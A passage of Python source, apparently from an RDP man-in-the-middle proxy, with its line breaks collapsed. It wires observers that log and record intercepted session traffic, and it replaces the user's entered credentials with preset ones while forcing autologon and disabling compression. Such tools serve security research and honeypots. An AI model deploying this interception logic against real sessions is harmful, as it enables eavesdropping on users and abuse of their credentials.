deviceRedirectionLayer.addObserver(self.deviceRedirectionObserver) self.channelObservers[channelID] = self.deviceRedirectionObserver return channel def buildIOChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSClientChannel: encryptionMethod = self.serverData.security.encryptionMethod self.securityLayer = self.createSecurityLayer() self.securityLayer.createObserver( onLicensingDataReceived=self.onLicensingDataReceived) slowPathObserver = MITMSlowPathObserver(self.log, self.slowPathLayer) self.slowPathLayer.addObserver(slowPathObserver) self.slowPathLayer.addObserver(RecordingSlowPathObserver( self.recorder)) self.channelObservers[channelID] = slowPathObserver fastPathParser = createFastPathParser(self.useTLS, encryptionMethod, self.crypter, ParserMode.CLIENT) self.fastPathLayer = FastPathLayer(fastPathParser) self.fastPathObserver = MITMFastPathObserver(self.log, self.fastPathLayer) self.fastPathLayer.addObserver(self.fastPathObserver) self.fastPathLayer.addObserver( RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_OUTPUT)) channel = MCSClientChannel(mcs, userID, channelID) Layer.chain(channel, self.securityLayer, self.slowPathLayer) self.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.fastPathLayer) if self.useTLS: self.securityLayer.securityHeaderExpected = True elif encryptionMethod != 0: self.log.debug("Sending Security Exchange") self.slowPathLayer.previous.sendSecurityExchange( self.securitySettings.encryptClientRandom()) return channel def onChannelJoinRefused(self, user, result, channelID): self.server.onChannelJoinRefused(user, result, channelID) def onClientInfoPDUReceived(self, pdu: ClientInfoPDU): # If set, replace the provided username and password to connect the user regardless of # the credentials they entered. if self.replacementUsername is not None: pdu.username = self.replacementUsername if self.replacementPassword is not None: pdu.password = self.replacementPassword if self.replacementUsername is not None and self.replacementPassword is not None: pdu.flags |= ClientInfoFlags.INFO_AUTOLOGON # Tell the server we don't want compression (unsure of the effectiveness of these flags) pdu.flags &= ~ClientInfoFlags.INFO_COMPRESSION pdu.flags &= ~ClientInfoFlags.INFO_CompressionTypeMask self.log.debug("Sending Client Info: %(arg1)s", {"arg1": pdu}) self.securityLayer.sendClientInfo(pdu) def onLicensingDataReceived(self, data): self.log.debug("Licensing data received") if self.useTLS: self.securityLayer.securityHeaderExpected = False self.server.onLicensingDataReceived(data) def onDisconnectProviderUltimatum(self, pdu): self.log.debug("Disconnect Provider Ultimatum received") self.server.sendDisconnectProviderUltimatum(pdu) def getChannelObserver(self, channelID): return self.channelObservers[channelID] def getFastPathObserver(self): return self.fastPathObserver